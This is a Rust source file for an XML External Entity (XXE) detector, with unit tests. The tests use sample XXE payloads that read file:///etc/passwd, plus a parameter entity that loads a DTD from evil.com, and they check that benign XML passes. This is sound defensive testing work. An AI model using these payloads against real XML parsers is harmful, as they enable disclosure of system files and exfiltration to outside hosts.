use regex::Regex;
use std::sync::LazyLock;
use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};
static PATTERNS: LazyLock<Regex> = LazyLock::new(|| Regex::new(r"(?i)<!ENTITY\s+").unwrap());
pub struct XxeDetector;
impl Detector for XxeDetector {
fn name(&self) -> &'static str {
"xxe"
}
fn detect(&self, input: &str) -> Option<DetectionResult> {
regex_detect(
std::slice::from_ref(&*PATTERNS),
self.name(),
AttackCategory::Protocol,
Severity::Critical,
"XXE XML External Entity attack detected",
input,
)
}
}
#[cfg(test)]
mod tests {
use super::*;
fn assert_detected(input: &str) {
crate::test_helpers::assert_detected(
&XxeDetector,
input,
AttackCategory::Protocol,
Severity::Critical,
);
}
fn assert_clean(input: &str) {
crate::test_helpers::assert_clean(&XxeDetector, input);
}
#[test]
fn name_is_xxe() {
assert_eq!(XxeDetector.name(), "xxe");
}
#[test]
fn detects_inline_entity() {
assert_detected("<!ENTITY xxe SYSTEM \"file:///etc/passwd\">");
}
#[test]
fn detects_doctype_with_entity() {
assert_detected(
"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]>",
);
}
#[test]
fn detects_parameter_entity() {
assert_detected("<!ENTITY % param SYSTEM \"http://evil.com/xxe.dtd\">");
}
#[test]
fn detects_public_entity() {
assert_detected(
"<!ENTITY xxe PUBLIC \"-//W3C//DTD XHTML 1.0//EN\" \"file:///etc/passwd\">",
);
}
#[test]
fn detects_mixed_case_markup() {
assert_detected("<!entity xxe system \"file:///etc/passwd\">");
}
#[test]
fn rejects_benign_xml() {
assert_clean("<note><to>Joe</to><from>Bob</from><body>Hi</body></note>");
assert_clean("<ENTITY>plain text</ENTITY>");
assert_clean("<!DOCTYPEfoo>");
assert_clean("SYSTEM\"file:///etc/passwd\"");
assert_clean("<!ENTITY>");
}
#[test]
fn rejects_near_misses() {
assert_clean("<!ENTITYxxe>");
assert_clean("<!ENTITY%xxe>");
assert_clean("SYSTEM /etc/passwd");
}
#[test]
fn rejects_real_world_documents() {
assert_clean(concat!(
"<!DOCTYPE html>\n<html lang=\"zh\">\n<head>\n<meta charset=\"utf-8\">\n",
"<title>关于我们</title>\n</head>\n<body><p>Hello</p></body>\n</html>"
));
assert_clean(concat!(
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n",
"<!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" ",
"\"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n",
"<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\">",
"<path d=\"M4 4h16v16H4z\"/></svg>"
));
assert_clean(concat!(
"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" ",
"\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">"
));
assert_clean("The report was generated with SYSTEM \"production\" settings.");
assert_clean("The PUBLIC \"roadmap\" document was published last week.");
assert_clean("/search?tag=rust&tag=security&page=2");
assert_clean("Please cc: ops@example.com on the reply.");
}
#[test]
fn rejects_empty_and_whitespace() {
assert_clean("");
assert_clean(" ");
}
#[test]
fn rejects_unicode_text() {
assert_clean("这是一段普通的中文 XML 描述文本");
}
}